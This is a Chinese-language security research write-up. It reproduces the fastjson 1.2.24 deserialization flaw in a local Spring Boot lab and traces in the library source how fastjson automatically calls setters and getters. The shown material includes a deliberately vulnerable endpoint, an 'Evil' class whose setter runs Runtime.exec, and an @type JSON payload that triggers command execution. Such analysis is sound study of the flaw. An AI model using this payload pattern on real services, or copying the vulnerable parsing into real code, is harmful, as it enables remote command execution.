0x01复现

复现过程参照 https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb。

首先搭建环境,新建一个springboot项目,在pom.xml中添加fastjson依赖:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

新增一个路由提供反序列化注入点:

@RestController
public class TestController {
    @RequestMapping("/fast1")
    public String TestController1(@RequestParam(name = "cmd") String cmd) throws ExportException {
        Object obj = JSON.parseObject(cmd, Object.class, Feature.SupportNonPublicField);
        System.out.println(obj.getClass().getName());
        return cmd;
    }
}

写一个恶意类Evil.java,里面包含了setter和getter函数:

public class Evil {
    String cmd;

    public Evil() {
        System.out.println("调用构造函数");
    }

    public String getCmd() {
        System.out.println("调用getName");
        return cmd;
    }

    public void setCmd(String cmd) throws Exception {
        System.out.println("调用setName");
        this.cmd = cmd;
        Runtime.getRuntime().exec(this.cmd);
    }

    @Override
    public String toString() {
        return "Evil{" + "cmd='" + cmd + '\'' + "}";
    }

}

启动springboot,传入payload,其中包含了Evil类的位置:

POST cmd={"@type":"com.example.demo.Controller.Evil","cmd":"/bin/code"}

即可成功命令执行:

控制台输出如下:

原理大致为:fastjson 1.2.22-1.2.24版本中反序列化时,会自动调用类的setter和getter函数,而用@type参数可以让fastjson将数据反序列化成我们指定的恶意类,以此可以达到反序列化到任意命令执行的目的。今天摸了,明天再调试分析自动调用的原因。

0x02自动调用原因研究(2022-03-30)

参考前辈们的分析,在com.alibaba.fastjson.util.JavaBeanInfobuild()函数中第342行:

public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
    // come codes ......
    if (methodName.startsWith("set")) {
        char c3 = methodName.charAt(3);
        // ...
    }
}

开始了对setter函数的判断,我们在这里下断点,然后调用payload调试分析调用链:


跟踪调用链发现,在DefaultJSONParser.parserObject()

public final Object parseObject(Map object, Object fieldName) {
    JSONLexer lexer = this.lexer;
    if (lexer.token() == 8) {
        lexer.nextToken();
        return null;
    } else if (lexer.token() != 12 && lexer.token() != 16) {
        throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
    } else {
        // ...
        ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
        thisObj = deserializer.deserialze(this, clazz, fieldName);
    }

首先根据token判断是否进入下面的函数块,根据JSONLexeBase.newToken()可以得知token的值和字符的对应关系,例如{的token是12,'是16。继续向下跟进,在第274行对key的值进行了判断,如果为@type则加载对应值中的类:

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    // JSON.DEFAULT_TYPE_KEY = '@type'
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    // ...
    // 然后在第318行对用户指定的类进行反序列化
    ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
}

继续跟进,在第ParserConfig.getDeserializer()第318行左右对反序列化的类进行了黑名单的判断:

之后会经过一系列的判断,最后会执行createJavaBeanDeserializer()创建一个JavaBeanDeserializer类:

然后跟入JavaBeanInfo.build()第318行,进行setter和getter函数的判断:

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
    // ...
    if (methodName.startsWith("set")) {
        char c3 = methodName.charAt(3);
        String propertyName;
        if (!Character.isUpperCase(c3) && c3 <= 512) {
            if (c3 == '_') {
                propertyName = methodName.substring(4);
            } else if (c3 == 'f') {
                propertyName = methodName.substring(3);
            } else {
                if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
                    continue;
                }
                propertyName = TypeUtils.decapitalize(methodName.substring(3));
            }
            // ...
        }
    }
    add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
}

对于setter函数,方法名长度>4、不是静态方法、返回值不为void或自己本身,即可添加到FieldInfo中。

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
    // ...
    add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));
}

对于getter函数,方法名长度>4、不是静态方法、方法名开头为get、方法名第四位为大写、方法入参个数为0、方法返回的类型必须继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong,即可将getter函数写入FieldInfo。

最后返回JavaBeanInfo,其中beanInfo中包含了我们类中的各种信息

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);

然而这还没有解决为什么会自动调用setter和getter的问题,不用着急,我们接着跟进,在DefaultJSONParser.parserObject()第319行,我们已经获得了反序列化器,接下来对我们的类调用反序列化:

thisObj = deserializer.deserialze(this, clazz, fieldName);

跟进去后发现进入了asm操作的阶段,没办法显性调试了。但是问题不大,我们可以静态分析。在JavaBeanDeserializer第284行方法deserialze()中,对我们的类进行反序列化。第608行中调用了createInstance(),对类进行实例化,会调用无参数的构造函数。

object = this.createInstance(parser, type);

接下来的第560行,调用了DefaultFieldDeserializer.parseFiled()

if (matchField) {
    if (!valueParsed) {
        fieldDeser.parseField(parser, object, type, fieldValues);
    }
    // ...
}

第79行调用了关键函数:

this.setValue(object, value);

跟进FieldDeserializer.setValue()

如果不存在setter、getter、isxx函数,则利用反射机制将value赋值到object上,如果存在这些函数,如果同时存在getter和setter,则调用setter,如果只存在getter则调用getter。至此为止自动调用setter、getter函数的过程分析完了。